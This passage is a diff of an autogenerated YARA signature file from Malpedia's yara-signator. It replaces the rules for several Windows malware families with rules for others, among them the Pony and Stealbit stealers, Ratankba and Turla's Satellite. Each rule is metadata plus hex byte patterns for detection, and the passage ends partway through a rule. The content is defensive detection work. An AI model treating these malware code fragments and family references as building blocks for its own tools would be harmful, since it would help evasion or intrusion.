-		id = "078af5cf-1960-57c1-ad2f-834d23801cf0"
+		id = "b4f490ab-c91a-5e77-9e61-88b48864f732"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_003_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_080_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "44e97183e244c5496d21c90ef879a2c3ae0327847947e2b5ee30ab46305a46ce"
+		logic_hash = "a554ba61b72496370ffd16dee0c3f2b6444ec6fc0c35b79b5428032562bbd4cc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164108,32 +171278,32 @@ rule MALPEDIA_Win_Unidentified_003_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945ec a1???????? 0fb7506f 0fb7406d c1e210 0bd0 }
-		$sequence_1 = { c68564ffffff01 33c0 8a88c2100900 888c0566ffffff 40 }
-		$sequence_2 = { e8???????? 83c40c 8b07 5d c3 55 8bec }
-		$sequence_3 = { a1???????? ff75f0 ff7028 ff15???????? eb0a }
-		$sequence_4 = { 395da0 740f ff75a4 ff15???????? 895da0 }
-		$sequence_5 = { 3bfe 7502 8bfb 39742410 }
-		$sequence_6 = { 59 85c0 7417 47 81c614010000 3b3d???????? 72c8 }
-		$sequence_7 = { 8bec 81ec20080000 53 56 57 8d85e0fdffff 8945ec }
-		$sequence_8 = { 7575 385d6e 743b 39bd5cffffff 750a c705????????07000000 399d5cffffff }
-		$sequence_9 = { ff15???????? 85c0 0f88b4010000 8b45e4 3bc3 0f84a9010000 8b08 }
+		$sequence_0 = { 51 53 8bd8 837b2c00 56 7571 8b4324 }
+		$sequence_1 = { 0bf2 89701c 83c020 83c120 ff8d74ffffff 0f8560feffff 8b8570ffffff }
+		$sequence_2 = { 8b4508 8b4808 8b500c 2bd1 894dfc 3bd3 7277 }
+		$sequence_3 = { 3bd6 7312 8b03 833c9000 8d0490 7402 }
+		$sequence_4 = { 8dbd40ffffff e8???????? 8bb53cffffff 83c620 c645fc0f 8b06 33ff }
+		$sequence_5 = { 83e73f 0b0cbdb8840210 83e03f 0b0c85b8860210 8b42f4 33c6 8bf8 }
+		$sequence_6 = { 8bec 83ec10 53 8bd8 ff4320 56 33f6 }
+		$sequence_7 = { 8bf0 83feff 7509 c68568ffffff0b eb66 8b4dbc }
+		$sequence_8 = { 57 50 8d45f4 64a300000000 33ff 33f6 }
+		$sequence_9 = { 8b4e30 8d5508 52 8b562c 50 51 52 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <392192
 }
-rule MALPEDIA_Win_Targetcompany_Auto : FILE
+rule MALPEDIA_Win_Pony_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e6fff5d7-7001-551f-9dad-753a10f6e88e"
+		id = "d90fd047-9438-55a9-9e35-1d6c2ea6d18d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.targetcompany_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pony"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pony_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "a6f3e9a1f1d0d374d374e6c7006eb751526bddf3371b115cfe046f8accd1d439"
+		logic_hash = "8fcd4026be1a9e152c2bd589ec65b90e934cc06d61e86dd6cd06c58ac6d41a1e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164147,32 +171317,32 @@ rule MALPEDIA_Win_Targetcompany_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 85c0 7475 fe85a7fdffff 80bda7fdffff0c }
-		$sequence_1 = { 53 ff15???????? ff75e8 ff15???????? ff75e0 ff15???????? 3975f0 }
-		$sequence_2 = { eb43 b900100000 3bc1 733a 53 51 }
-		$sequence_3 = { 83c424 33cd 33c0 5f e8???????? c9 c3 }
-		$sequence_4 = { 813d????????a9aaaa0a 722b 68???????? 8d4dd4 }
-		$sequence_5 = { e8???????? 57 6a0c 5a 8bce 8d45e0 e8???????? }
-		$sequence_6 = { 83ec40 53 56 33f6 57 8d5dc4 }
-		$sequence_7 = { 50 8d45b0 50 e8???????? 8d45b0 50 8d85c0feffff }
-		$sequence_8 = { bf???????? 8d75e8 e8???????? 8b1d???????? 8d75f0 }
-		$sequence_9 = { 8945ec e8???????? 53 6a01 8d758c e8???????? 53 }
+		$sequence_0 = { c20400 55 89e5 83ec18 53 }
+		$sequence_1 = { c745f400000000 8d45f8 50 ff7508 6a00 ff15???????? }
+		$sequence_2 = { bfffffffff 33f9 0bf8 33fb 8d941792cc0c8f 03560c }
+		$sequence_3 = { ff75e8 ff7508 e8???????? 23d8 ff75ec e8???????? }
+		$sequence_4 = { f7d0 50 ff7508 e8???????? c9 c20400 }
+		$sequence_5 = { ff7514 e8???????? eb0d 68???????? }
+		$sequence_6 = { c9 c20400 55 8bec 83c4fc ff7514 ff7510 }
+		$sequence_7 = { ff75c8 e8???????? ff75c4 e8???????? ff75bc }
+		$sequence_8 = { b9ffffffff f2ae 3807 75c5 6a1a ff7508 }
+		$sequence_9 = { e8???????? ff7510 6a18 ff7508 e8???????? ff7510 }
 
 	condition:
-		7 of them and filesize <328704
+		7 of them and filesize <262144
 }
-rule MALPEDIA_Win_Pss_Auto : FILE
+rule MALPEDIA_Win_Enfal_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c85e1f97-adb5-5a29-88aa-4e9dab9b1814"
+		id = "7c648ee2-e4dd-541c-9b47-28a132a1416c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pss"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pss_auto.yar#L1-L136"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.enfal"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.enfal_auto.yar#L1-L112"
 		license_url = "N/A"
-		logic_hash = "3fa2b0cf1b29b7abf02331e25c131d124a839f7a317f2ebb6c59c1c9547e53c0"
+		logic_hash = "4106f1f3c4e35436925009af22c1e6b23f6200a61794638682b09644acc42fa2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164186,35 +171356,32 @@ rule MALPEDIA_Win_Pss_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d48fe e8???????? e9???????? 83f811 }
-		$sequence_1 = { 7437 ff15???????? 3de5030000 752a }
-		$sequence_2 = { ff15???????? 83ceff 3bc6 7504 }
-		$sequence_3 = { 5e 5b 0f42ca 85c0 0f45c8 }
-		$sequence_4 = { 0fb619 0fb6c0 eb17 81fb00010000 7313 8a87a4f10110 }
-		$sequence_5 = { 8d542418 8bce e8???????? 59 59 }
-		$sequence_6 = { 8bf9 46 85ff 744f 833fff 7410 ff37 }
-		$sequence_7 = { 0fb6c0 5f 5e 5b c9 }
-		$sequence_8 = { 488d4c2428 e8???????? 90 4c8d05b3b70000 488bd0 488d0db1610100 }
-		$sequence_9 = { ff15???????? b001 eb25 e8???????? }
-		$sequence_10 = { e8???????? 90 4c8d05d3b50000 488bd0 }
-		$sequence_11 = { 488bcb e8???????? e9???????? ba80000000 488bcb }
-		$sequence_12 = { 488b4de7 e8???????? 48c745ff07000000 48897df7 }
+		$sequence_0 = { ffd6 68???????? 57 8945d8 ffd6 68???????? 53 }
+		$sequence_1 = { 51 53 ff505c 85c0 }
+		$sequence_2 = { 50 6a00 6a01 ff7608 }
+		$sequence_3 = { 57 6800000040 51 ff5010 8bd8 }
+		$sequence_4 = { 81ec4c0a0000 80a5b4f9ffff00 56 baff000000 }
+		$sequence_5 = { 8b4b24 8b431c 8b5320 8365fc00 }
+		$sequence_6 = { 50 e8???????? 83c410 8b461c }
+		$sequence_7 = { 8bec 81eccc040000 53 56 8b35???????? 57 }
+		$sequence_8 = { ffd0 5e c3 ff15???????? 5e c3 }
+		$sequence_9 = { 66a5 a4 be???????? 8dbd60ffffff }
 
 	condition:
-		7 of them and filesize <421888
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Bandit_Auto : FILE
+rule MALPEDIA_Win_Ratankba_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4242f486-f361-5c1c-837c-874b9d2592eb"
+		id = "fd423e85-7c69-52a0-9324-ef5e9762e7e8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bandit"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bandit_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankba"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ratankba_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "e59306c04a92c7c36290cce1b84004757d2fea7b6a860dd6621dd5fc2300ad60"
+		logic_hash = "49523307c1fdb5d69527def26960d83b0ac500a3f11bec0bed9b0e81e333a8ec"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164228,34 +171395,34 @@ rule MALPEDIA_Win_Bandit_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 488d0d9ca6a100 48894820 833d????????00 750b 488b4c2478 48894828 }
-		$sequence_1 = { c3 4889d0 e8???????? 84c0 744e 488b4c2428 488b11 }
-		$sequence_2 = { 83c301 4883c604 4501f1 e8???????? 4139df 75d6 8b742460 }
-		$sequence_3 = { e9???????? 488d5f01 4839da 731d 4889f0 4889d1 bf01000000 }
-		$sequence_4 = { e8???????? 48c7401801000000 488d0d1c9c5e00 48894810 4889c3 488d0530636a00 488b6c2440 }
-		$sequence_5 = { ffd2 4889442438 48895c2440 48894c2448 48897c2450 90 488b7c2430 }
-		$sequence_6 = { c644242701 488b4210 488b5c2428 488b4c2430 488b7c2438 6690 e8???????? }
-		$sequence_7 = { 8894249d000000 0fb654246c 4129d7 4488bc249e000000 0fb6542474 440fb6442425 4429c2 }
-		$sequence_8 = { e8???????? 4889d7 c60700 488d050e9a6b00 e8???????? 488b4c2438 488b542448 }
-		$sequence_9 = { c604085c 49f7d9 49c1f93f 4c8d5101 4d21ca 4e8d0c10 48f7df }
+		$sequence_0 = { 5d c20800 8b4d0c 803900 7416 807d0b00 7410 }
+		$sequence_1 = { 53 b8???????? 668911 e8???????? 8d8ec0000000 c645fc05 33c0 }
+		$sequence_2 = { 53 ff15???????? 85c0 740e 8b45fc 85c0 7407 }
+		$sequence_3 = { 55 8bec ff4724 8b4724 53 56 394718 }
+		$sequence_4 = { e8???????? 8b4310 33ff 3bc7 7649 397e10 7644 }
+		$sequence_5 = { 720a b857000780 e8???????? 8b4b04 5f 8944d104 8bc2 }
+		$sequence_6 = { 83c414 85c0 744f 8bc8 e8???????? 8bf0 a1???????? }
+		$sequence_7 = { 0f849b010000 83c302 46 ebaa 8b5710 8bc6 8955e4 }
+		$sequence_8 = { 8975f4 85f6 790b 5e 83c8ff 5b 8be5 }
+		$sequence_9 = { 56 66898578efffff 51 83c8ff 8dbd78efffff c7858cefffff07000000 }
 
 	condition:
-		7 of them and filesize <29914112
+		7 of them and filesize <303104
 }
-rule MALPEDIA_Win_Blister_Auto : FILE
+rule MALPEDIA_Win_Holerun_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e15c5b26-46b1-50a6-b793-c24acb88c7d0"
+		id = "3860635a-d58f-5696-9faf-227bf0bff05b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blister"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blister_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.holerun"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.holerun_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "2e7268df1a1003febf7615ed82849d5ba6785115864de7e2d3f4d8bf888a50fc"
-		score = 60
-		quality = 25
+		logic_hash = "5a5dd43f05b56cbfa86f75c5f65da136c78c894cffec56359e16aa1bc679245f"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -164267,32 +171434,32 @@ rule MALPEDIA_Win_Blister_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 33f6 8d4447fe 8975fc 8945f8 3bfe 0f8447010000 }
-		$sequence_1 = { 57 ff75fc ffd6 85c0 7529 33c9 41 }
-		$sequence_2 = { e8???????? 8bf0 85f6 7c2e 6a04 58 8d4d08 }
-		$sequence_3 = { 8bff 55 8bec b8dc140000 e8???????? a1???????? 33c5 }
-		$sequence_4 = { 8b3d???????? 6870010000 684c040000 ff7604 ffd7 8b1d???????? }
-		$sequence_5 = { 8d45a0 50 ff750c c745a060000000 6891100000 ff36 }
-		$sequence_6 = { ff7604 ff75f4 ff75e8 6a02 ff75fc ff15???????? 85c0 }
-		$sequence_7 = { 8b4e28 8d45f8 50 895df8 e8???????? }
-		$sequence_8 = { ff15???????? 8bc8 0fb701 f7d8 1bc0 23c1 5e }
-		$sequence_9 = { 50 8b859cf7ffff 8b8c052cf7ffff e8???????? 8985a8f7ffff 85c0 0f8cf9010000 }
+		$sequence_0 = { 85c0 740c c785ec00000000000000 eb63 488b05???????? }
+		$sequence_1 = { e8???????? 8b45c4 83f840 7472 8b45c4 83f804 }
+		$sequence_2 = { c744242000010000 41b901000000 41b800000000 ba03000000 4889c1 }
+		$sequence_3 = { 488b85e0000000 488b4020 4889c1 488b05???????? ffd0 }
+		$sequence_4 = { ffd0 488b85e0000000 488b4020 4889c1 488b05???????? }
+		$sequence_5 = { ffd0 8b85cc030000 4881c458040000 5b 5d c3 }
+		$sequence_6 = { 4883c00f 48c1e804 48c1e004 e8???????? 4829c4 }
+		$sequence_7 = { eb1e 8345f401 488345f828 488b45e8 0fb74006 0fb7c0 }
+		$sequence_8 = { c705????????00000000 c705????????00000000 8b45fc 8905???????? }
+		$sequence_9 = { 488b4d10 e8???????? 4885c0 7507 b8ffffffff eb05 }
 
 	condition:
-		7 of them and filesize <1822720
+		7 of them and filesize <156672
 }
-rule MALPEDIA_Win_Crenufs_Auto : FILE
+rule MALPEDIA_Win_Unidentified_107_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f753eb30-be4b-5f62-9991-28649f65a79a"
+		id = "3e7e44ff-0f02-5267-8346-e5f949ff1ff2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crenufs"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.crenufs_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_107"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_107_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "62adacba8819f400983ac2aed5807f2d80c5566db3c1a2873916dcd6fb658c9d"
+		logic_hash = "36a3784a29d5434d0fa9e9c5acdfc21d8509c8e92eeaa689801f442b7fb11fdb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164306,32 +171473,32 @@ rule MALPEDIA_Win_Crenufs_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b0c8de0934000 25ff000000 c1ea18 33cb 8b1c95e08f4000 8b56f8 }
-		$sequence_1 = { 55 56 57 8bf9 8a4c2444 33ed 884c2425 }
-		$sequence_2 = { ff15???????? 56 8d4d90 c645fc05 ff15???????? 56 8d4de0 }
-		$sequence_3 = { ffd0 83c408 53 ff15???????? 8b44243c 8b4e08 3bc5 }
-		$sequence_4 = { 59 50 57 8d4de0 ff15???????? bf???????? 57 }
-		$sequence_5 = { 750c 8b3d???????? 891d???????? 8d4c2444 ff15???????? 3bfb 7409 }
-		$sequence_6 = { ff15???????? 8d8d3cf2ffff c645fc03 e8???????? c645fc02 56 }
-		$sequence_7 = { 84c0 89542410 743e 3b31 752d 53 56 }
-		$sequence_8 = { 8d4c2444 895c2428 895c2430 33ff ff15???????? a1???????? 48 }
-		$sequence_9 = { 895dfc e8???????? 8b10 8bc8 ff5210 }
+		$sequence_0 = { 4139d9 75d8 4c89e1 e8???????? }
+		$sequence_1 = { 48897008 4c89e1 ff15???????? 488b05???????? 4c89e1 48891d???????? }
+		$sequence_2 = { 0f83d6fdffff 4c8b35???????? 8b7304 448b2b 4883c308 4c01f6 44032e }
+		$sequence_3 = { 034208 4839c1 7214 4883c228 }
+		$sequence_4 = { 0f8584000000 4c8b3e 4929c7 4901cf }
+		$sequence_5 = { e8???????? 4c89e1 ff15???????? 31c0 4883c428 }
+		$sequence_6 = { 8b15???????? 85d2 0f8ea1feffff 488b35???????? 31db 4c8d65fc }
+		$sequence_7 = { e8???????? 4989c7 48b9ca0e99c700000000 e8???????? 4883c464 488b4c2408 }
+		$sequence_8 = { 4183fc01 0f85a9feffff 8b05???????? 85c0 0f8e9bfeffff 83e801 488b1d???????? }
+		$sequence_9 = { 4c89442418 4c894c2420 4883ec64 48c7c10f15af3d }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <254976
 }
-rule MALPEDIA_Win_Wpbrutebot_Auto : FILE
+rule MALPEDIA_Win_Unidentified_074_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ee6ef210-d105-53c3-a558-0e67b4040536"
+		id = "0d21a50a-0481-57c8-ac0f-f7fe46c9359f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wpbrutebot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wpbrutebot_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_074"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_074_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "709c38b5efc64910ec1c02f61c4cfca810d098711a98c2359e209f406eb3230c"
+		logic_hash = "e6b5821f00996c51a196dd1c4d62a76bb0e0925ea653a38d0c3db163875f48e7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164345,32 +171512,32 @@ rule MALPEDIA_Win_Wpbrutebot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 894f54 897758 89775c e9???????? 85c9 7515 c7475003000000 }
-		$sequence_1 = { f7472c00010000 b35d 7411 8b4730 6a5d 8b4804 8b01 }
-		$sequence_2 = { f6044dc81e5e0002 7410 8bc1 ba01000000 83f020 85d2 0f44c1 }
-		$sequence_3 = { c645fc04 8d8dfcf4ffff e8???????? 68???????? 8bd0 c645fc05 8d8d14f5ffff }
-		$sequence_4 = { ff742420 8b7a08 037c2420 89442448 c744244c01000000 897c2450 8b4a08 }
-		$sequence_5 = { c781f0050000bfe45900 5b 83c408 c3 5f 5e 5d }
-		$sequence_6 = { 7228 8bb504ffffff 8d8504ffffff 50 8bc8 e8???????? 8b8518ffffff }
-		$sequence_7 = { 8b44245c a802 b800000000 0f45d8 895c241c 85f6 7410 }
-		$sequence_8 = { f7e9 d1fa 8bc2 c1e81f 03c2 83f801 762b }
-		$sequence_9 = { ffb7ec0c0000 6a01 53 e8???????? 8be8 83c410 }
+		$sequence_0 = { 50 ffb578dfffff e8???????? 33c0 c7858cdfffff07000000 c78588dfffff00000000 66898578dfffff }
+		$sequence_1 = { 50 e8???????? 6aff 6a01 83ec08 c745fc00000000 8d4dd8 }
+		$sequence_2 = { 3bc1 7432 8b4d08 8d041e 8a0408 3a02 7516 }
+		$sequence_3 = { 50 ff15???????? 8bf0 85f6 0f84c4010000 837f1000 }
+		$sequence_4 = { 50 899d6cdfffff c78568dfffff00000000 660fd645e4 e8???????? }
+		$sequence_5 = { c78524e7ffff07000000 66898510e7ffff 8d85f8e6ffff 50 8d8540e7ffff c78520e7ffff00000000 50 }
+		$sequence_6 = { 8d4e01 8a06 46 84c0 75f9 8d4588 }
+		$sequence_7 = { e8???????? 83c40c 019dc4feffff 8b85c4feffff }
+		$sequence_8 = { 83ec08 8845f0 8d45f0 50 e8???????? 884435e8 }
+		$sequence_9 = { 8d8d70e7ffff 6a12 33c0 c78584e7ffff07000000 }
 
 	condition:
-		7 of them and filesize <5134336
+		7 of them and filesize <335872
 }
-rule MALPEDIA_Win_Stealbit_Auto : FILE
+rule MALPEDIA_Win_Startpage_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ba610849-1495-5151-b945-327f0dc5f838"
+		id = "bf47ff90-3238-555c-bf4a-537084ae22d6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stealbit_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.startpage_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "0ba0bc4f1da3f2dc67b8b88d21908b92c199e11ae8a3f814064895150fd93270"
+		logic_hash = "9dae8bd02cc42718a63c04f81edbd9a29e9f4300c24f882a2c1fba0669713697"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164384,32 +171551,32 @@ rule MALPEDIA_Win_Stealbit_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4e30 e8???????? 8b4e30 e8???????? 83663000 8d562c }
-		$sequence_1 = { 8d8580fbffff 50 e8???????? 8bc8 e8???????? ffd0 8bd8 }
-		$sequence_2 = { 8bfa 8bd9 e8???????? 8bc8 e8???????? ffd0 8bf0 }
-		$sequence_3 = { e8???????? 8bc8 e8???????? ffd0 6a02 68bf000000 53 }
-		$sequence_4 = { c786a802000000000000 8d7e50 33db 8b4620 }
-		$sequence_5 = { 6a6f 66898546ffffff 33c0 66898548ffffff 58 6a63 668985d2fcffff }
-		$sequence_6 = { 66899570feffff 66899574feffff 5a 6a6d 58 6a69 66898500feffff }
-		$sequence_7 = { 6689859afeffff 33c0 668955de 5a 6a61 6689bd86feffff }
-		$sequence_8 = { 8945f8 e8???????? 03c0 8bce 8bd0 e8???????? 6a0c }
-		$sequence_9 = { e8???????? 8bc8 e8???????? 3d15cffdb1 740b 46 3bf7 }
+		$sequence_0 = { 8945ec 85db 740c 8b0b 85c9 7406 0fb701 }
+		$sequence_1 = { 83eb01 75f1 8b75f8 8b06 33c9 663b08 759d }
+		$sequence_2 = { 75f5 2bd1 d1fa 5b 52 ff7508 8bcf }
+		$sequence_3 = { 8901 89742410 eb06 8931 8b742410 8b44241c 85c0 }
+		$sequence_4 = { 8bec a1???????? 85c0 740e 50 e8???????? 8325????????00 }
+		$sequence_5 = { 722e 8b4dc0 40 3d00100000 721a f6c11f 759c }
+		$sequence_6 = { 8b03 8bfb 53 ff5004 8b7508 33c9 8bc3 }
+		$sequence_7 = { e8???????? 59 c645fc01 8b8de0feffff 83c1f0 e8???????? 51 }
+		$sequence_8 = { 755f 8a0a 8d4201 8907 80f975 7553 8b4db8 }
+		$sequence_9 = { 8907 50 50 8945fc ff35???????? ff31 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <2277376
 }
-rule MALPEDIA_Win_Unidentified_110_Auto : FILE
+rule MALPEDIA_Win_Pteranodon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "264cfac8-ace3-5d01-a52d-48fde572696d"
+		id = "547312ac-3667-5c97-9fc9-daff4d88f305"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_110"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_110_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pteranodon_auto.yar#L1-L173"
 		license_url = "N/A"
-		logic_hash = "d08f798b1cfbec1be54b7df96bb36676a27b486448d2260bb80e971ad4c99ec2"
+		logic_hash = "5752ea7e57aaa9393a80bd68b7b77d472dc2c58ad73fb0c8d5639c2a359a3d60"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164423,32 +171590,38 @@ rule MALPEDIA_Win_Unidentified_110_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff5638 4839d8 756f 488b37 ba08000000 4889f9 e8???????? }
-		$sequence_1 = { 7809 488d1542850a00 59 c3 b907000000 cd29 0f0b }
-		$sequence_2 = { 8b842440010000 898424f0000000 0f28842420010000 0f288c2430010000 0f298c24e0000000 0f298424d0000000 8b8424c8000000 }
-		$sequence_3 = { 884710 4883670800 c6471100 488d542428 48891a 4c8d052abf0e00 eb3e }
-		$sequence_4 = { 488d95100a0000 48c70208000000 488d8d70120000 e8???????? e9???????? 4c8bb568130000 6a0c }
-		$sequence_5 = { 488d8c24f0010000 e8???????? 41bf01000000 e9???????? 488dac2460010000 488b4530 4889842400010000 }
-		$sequence_6 = { 4c89fa 4989c0 e8???????? 488b8698000000 4801d8 483b8690000000 7763 }
-		$sequence_7 = { 89ca b101 e9???????? b103 e9???????? 4c8b01 410fb64810 }
-		$sequence_8 = { ffe1 31c9 4883bc241801000004 0f84f8620000 488b942448030000 488b32 4883fe02 }
-		$sequence_9 = { eb02 31c0 4883c428 c3 4c8d0df4bf0900 4889c1 4c89c2 }
+		$sequence_0 = { 394614 7320 51 50 8bce }
+		$sequence_1 = { 8d8dc0f8ffff e9???????? 8d8dc0f8ffff e9???????? 8d8dc0f8ffff e9???????? 8d8d08f9ffff }
+		$sequence_2 = { 59 83e03f 59 6bc838 8b04b5e0874300 03c1 }
+		$sequence_3 = { 8d45f0 50 ff15???????? 83f802 7541 8d4df0 e8???????? }
+		$sequence_4 = { 8b04f5b49b0210 5f 5e 5b 5d }
+		$sequence_5 = { ffd0 0fb7f0 8bcf 8b07 8b4008 ffd0 }
+		$sequence_6 = { c7869800000038c90210 c7460401000000 8b4dfc 5f 5e 33cd }
+		$sequence_7 = { 0f8490000000 53 6a00 56 e8???????? }
+		$sequence_8 = { 2bd0 d1fa 8d7902 668b01 83c102 }
+		$sequence_9 = { 8d8d78f8ffff c645fc1e e8???????? 8b851cf9ffff 83f810 7213 40 }
+		$sequence_10 = { 660f28aa802c4300 660f54e5 660f58fe 660f58fc 660f59c8 f20f59d8 }
+		$sequence_11 = { 3bc1 7419 85c0 b001 }
+		$sequence_12 = { 1bc0 23c1 83c008 5d c3 8b04c5849f4200 }
+		$sequence_13 = { c3 8b04c58cbf0210 5d c3 }
+		$sequence_14 = { c645fc0b 8d8df0f8ffff e8???????? 8d8d20f9ffff c645fc0c 03ce }
+		$sequence_15 = { 53 e8???????? 83c404 8945ec 53 8bd8 }
 
 	condition:
-		7 of them and filesize <3217408
+		7 of them and filesize <499712
 }
-rule MALPEDIA_Win_Saigon_Auto : FILE
+rule MALPEDIA_Win_Satellite_Turla_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a473943a-8ea5-58ac-80e3-98de6dfb8169"
+		id = "79b83503-3c79-5740-8814-f6490a13be5c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.saigon"
